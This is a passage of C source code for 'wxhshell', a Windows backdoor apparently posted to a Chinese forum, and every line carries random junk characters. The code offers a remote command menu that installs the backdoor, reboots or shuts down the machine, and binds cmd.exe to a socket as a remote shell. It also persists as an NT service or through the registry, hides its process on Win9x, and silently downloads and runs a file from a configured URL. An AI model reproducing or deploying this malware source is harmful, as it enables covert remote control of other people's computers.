  w/R^Vwq  
  // 帮助 2c}kiqi{  
  case '?': { _K8-O>I "  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); r6A7}v  
    break; UuN(+&oD-  
  } umi#Se3&  
  // 安装 J[9jNCq|  
  case 'i': { OAv/P|n=  
    if(Install()) N%0Z> G  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9 i"3R0HN  
    else >0>M@s  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .w0?  
    break; DQ,QyV  
    } Y$N|p{Z  
  // 卸载 9:P)@UF  
  case 'r': { 6ik6JL$AI  
    if(Uninstall())  9TeDLp  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7Kn=[2J5k'  
    else '  _N >  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )/BKN`,  
    break; 1vobfZ-w9  
    } Y }0-&  
  // 显示 wxhshell 所在路径 /%.K`BMN  
  case 'p': { Y.-i;Mmu  
    char svExeFile[MAX_PATH]; c;j]/R$i  
    strcpy(svExeFile,"\n\r"); [ML4<Eb+ x  
      strcat(svExeFile,ExeFile); !a0HF p$9  
        send(wsh,svExeFile,strlen(svExeFile),0); U_w)*)F  
    break; ':HV9]k  
    } mCg5-E~;  
  // 重启 LnBkd:>}  
  case 'b': { 4kx#=MLt  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 1j}o. 0\  
    if(Boot(REBOOT)) <Wl! Qog'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1[!Idl?m  
    else { HzW ZQ6o  
    closesocket(wsh); \PL92HV  
    ExitThread(0); 0ya_[\  
    } 2-8<uUy  
    break; &We'omq  
    } J?%Z7&/M>  
  // 关机 w=OT^d 9n  
  case 'd': { wTOB'  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); \"n&|_SZ\  
    if(Boot(SHUTDOWN)) ^E5Xpza  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %F03cI,  
    else { py)V7*CgH  
    closesocket(wsh);  pxP7yJL`  
    ExitThread(0); ] $5rh8  
    } @%RDw*L(  
    break; 8R)*8bb  
    } :kgwKuhL  
  // 获取shell |gT$M _}  
  case 's': { D|OX]3~  
    CmdShell(wsh); SMnbI .0  
    closesocket(wsh); O9!<L.X,%  
    ExitThread(0); ]Dx5t&  
    break; z. 7 UfLV9  
  } _c`Gxt%  
  // 退出 P4s:wuJ^  
  case 'x': { 64[j:t=N  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); eE1w<] Eg  
    CloseIt(wsh); _))_mxV{  
    break; 5Pn$@3  
    } (xq25;|Y  
  // 离开 YckexfL  
  case 'q': { %2V_%KA  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ZQ@^(64  
    closesocket(wsh); TMGZHOAt  
    WSACleanup(); Dj?9 5Z,r  
    exit(1); ='>k|s:  
    break; 89~)nV)  
        } O(CUwk  
  } eml(F  
  } yh} V u  
aMT&}3  
  // 提示信息 9Lv`3J^~  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); AM,@BnEcuT  
} GQT|T0>Ro  
  } ,>e)8  
i_I`Y  
  return;  _8t{4C  
} .,-t}5(VSq  
p-M QI }  
// shell模块句柄 RfFeAg,]/  
int CmdShell(SOCKET sock) ) 3Eax_?Z  
{ :QB Wy  
STARTUPINFO si; pl'n 0L<l  
ZeroMemory(&si,sizeof(si)); _epi[zf@  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; J/WPffqD  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; vA"yy"B+ V  
PROCESS_INFORMATION ProcessInfo; 0lY.z$V  
char cmdline[]="cmd"; b1E>LrL  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); "rBo?%:  
  return 0; !y `wAm>n  
} ,C!MHn^$  
a'W-&j  
// 自身启动模式 -g_PJ.Hk  
int StartFromService(void) C {gYrz)  
{ Vtr 0=-m&  
typedef struct `G6Nk@9.  
{ bv-s}UP0  
  DWORD ExitStatus; ps^Z)x`GV  
  DWORD PebBaseAddress; sYgpK92  
  DWORD AffinityMask; D<C ZhYJ  
  DWORD BasePriority; LQ373 j-  
  ULONG UniqueProcessId; ~O&3OL:L  
  ULONG InheritedFromUniqueProcessId; Cz8=G;\  
}   PROCESS_BASIC_INFORMATION; AI/xOd!a  
#|xK> ;  
PROCNTQSIP NtQueryInformationProcess; nu|;(ly  
%Gh!h4Pv  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ut fD$8UI  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; H~Hh $-z  
u6$fF=  
  HANDLE             hProcess; |?i-y3N  
  PROCESS_BASIC_INFORMATION pbi; pd/{yX M  
q>?uB4>^  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 7P|GKN~  
  if(NULL == hInst ) return 0; zH eqV  
Z<;am  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); _/]4:("  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 4F^(3RKZ|  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); +'x|VPY.PG  
k[&+Iy  
  if (!NtQueryInformationProcess) return 0; ]|@RWzA  
Xq` '^)  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); XN'x`%!*3#  
  if(!hProcess) return 0; 9YwK1[G6/  
-[^aWNqyJ  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; wRCGfILw  
Ox Zw;yD  
  CloseHandle(hProcess); T&j_7Q\;vI  
"at*G>+  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); %n SLe~b  
if(hProcess==NULL) return 0; S{XV{o  
LhUrVydL  
HMODULE hMod; @Q 8E)k@  
char procName[255]; ]Wa.k  
unsigned long cbNeeded; 5~5d%C^3k  
t6W$t  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); g/'CX}g`  
^/h,C^/;  
  CloseHandle(hProcess); 8F9sKRq|rO  
c!d>6:\  
if(strstr(procName,"services")) return 1; // 以服务启动 ]_G!(`Udh  
z GhJ  
  return 0; // 注册表启动 nB[Aw7^|A  
} 0hp*(, L  
j|N;&s`  
// 主模块 tg_v\n  
int StartWxhshell(LPSTR lpCmdLine) R/VrBiw  
{ TyI"fP  
  SOCKET wsl; }'U "HHv  
BOOL val=TRUE; /J")S?. [u  
  int port=0; ""|vhgP  
  struct sockaddr_in door; &!x!j ,nT  
tF}Vs}  
  if(wscfg.ws_autoins) Install(); c!{v/zOz  
ROw9l!YF  
port=atoi(lpCmdLine); Vcm9:,Xlw  
87.b7 b.  
if(port<=0) port=wscfg.ws_port; {9S=:  
Lnc _)RF  
  WSADATA data; F@~zVu3'  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 6p|*H?|It  
Yw&{.<sL  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ,HO~NqmB4  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ;nW#Dn9  
  door.sin_family = AF_INET; (U#4j 6Q  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ;5urIYd  
  door.sin_port = htons(port); y9kydu#q  
?nZQTO7  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { I<PKwT/?  
closesocket(wsl); -HutEbkjx  
return 1; jODx&dVr  
} tXDO@YH3S  
T1sb6CT  
  if(listen(wsl,2) == INVALID_SOCKET) { )4q0(O)d  
closesocket(wsl); I CCmE#n  
return 1; E`]lr[  
} KV v0bE  
  Wxhshell(wsl); >G(M&  
  WSACleanup(); n#8N{ya5x1  
w7GF,a  
return 0; vs]#?3+  
_1 TSt%L  
} sq1Z;l31"  
a"ZBSg(  
// 以NT服务方式启动 -L<''2t  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) NZ`Mq  
{ XMzL\Edo  
DWORD   status = 0; Z\Qa6f!  
  DWORD   specificError = 0xfffffff; ky*-THS  
sz4)xJgF (  
  serviceStatus.dwServiceType     = SERVICE_WIN32; b~uz\%'3  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; f-!t31?XK  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 7UM!<@9\  
  serviceStatus.dwWin32ExitCode     = 0; WtlPgT;wE  
  serviceStatus.dwServiceSpecificExitCode = 0; ;[9WB<t  
  serviceStatus.dwCheckPoint       = 0; l8rBp87Q  
  serviceStatus.dwWaitHint       = 0; 'Pyeb`AXE9  
OT/*|Pn9  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 8JvF4'zx  
  if (hServiceStatusHandle==0) return; H~y 7o_tg  
s"G;rcS}#  
status = GetLastError(); l;_zXN   
  if (status!=NO_ERROR) ^wDZg`  
{ $w!;~s  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; AT.WXP0$A  
    serviceStatus.dwCheckPoint       = 0; $!F_K  
    serviceStatus.dwWaitHint       = 0; '!Gnr[aR  
    serviceStatus.dwWin32ExitCode     = status; ^,F8 ha  
    serviceStatus.dwServiceSpecificExitCode = specificError; AWSe!\b  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); XoI,m8A  
    return; 0=  ]RG  
  } U6SgV 8  
l{OU \  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Hp`Mp)1s  
  serviceStatus.dwCheckPoint       = 0; 9;,_Q q  
  serviceStatus.dwWaitHint       = 0; E5@U~|V[  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); g_{hB5N](7  
} Ewg5s?2|  
TXx%\V_6  
// 处理NT服务事件,比如:启动、停止 B]jI^( P  
VOID WINAPI NTServiceHandler(DWORD fdwControl) >:7W.QLRU  
{ _h;#\ )%~  
switch(fdwControl) j n[%@zD}  
{ O{WJi;l  
case SERVICE_CONTROL_STOP: tu(k"'aJ  
  serviceStatus.dwWin32ExitCode = 0; 4'L%Wz[6  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Z[+H$=$%  
  serviceStatus.dwCheckPoint   = 0; eyPh^c]?`8  
  serviceStatus.dwWaitHint     = 0; gHCk;dmq81  
  { oB$7m4xO\  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); &}sC8,Sr  
  } r2,AZ+4FP  
  return; Sg$14B  
case SERVICE_CONTROL_PAUSE: !B 36+W+  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ]u~6fknm  
  break; 6uWzv~!*D  
case SERVICE_CONTROL_CONTINUE: -8F~Tffx  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; nFE0y3GD8  
  break; X[pk9mha  
case SERVICE_CONTROL_INTERROGATE: qSj$0Hq5XI  
  break; p_z_d6?  
}; ZUE?19GA  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); l+$ e|F  
} $'M:H_T  
.^]=h#[e  
// 标准应用程序主函数 >C|/%$kk:f  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) WHh=ht s\  
{ +;nADl+Q  
n|,kL!++.  
// 获取操作系统版本 8!e1T,:b  
OsIsNt=GetOsVer(); `a.1Af;L  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ~i&Lc7Xl  
E2f9J{ Ki=  
  // 从命令行安装 ?<@yo&)  
  if(strpbrk(lpCmdLine,"iI")) Install(); bY6y)l  
b.jxkx\nt  
  // 下载执行文件 q!l[^t|;  
if(wscfg.ws_downexe) { ==d@0`  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) z;x1p)(xt  
  WinExec(wscfg.ws_filenam,SW_HIDE); Yjo$^q  
} MguH)r` uT  
+f)Nf) \q  
if(!OsIsNt) { N?j,'gy4  
// 如果时win9x,隐藏进程并且设置为注册表启动 tmAc=?|Wa  
HideProc(); q#W7.8 Z@  
StartWxhshell(lpCmdLine); cB5|% @$I  
} i Rwqt-WZ  
else g2 dvs  
  if(StartFromService()) U4hsbraz  
  // 以服务方式启动 S9Kay'.aJ(  
  StartServiceCtrlDispatcher(DispatchTable); [&mYW.O<  
else J(&a,w>p  
  // 普通方式启动 ^%|(dMo4  
  StartWxhshell(lpCmdLine); _J}vPm  
7QdU|1]  
return 0; E%L]ifA9!  
}
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只看该作者 1 发表于: 2006-10-10
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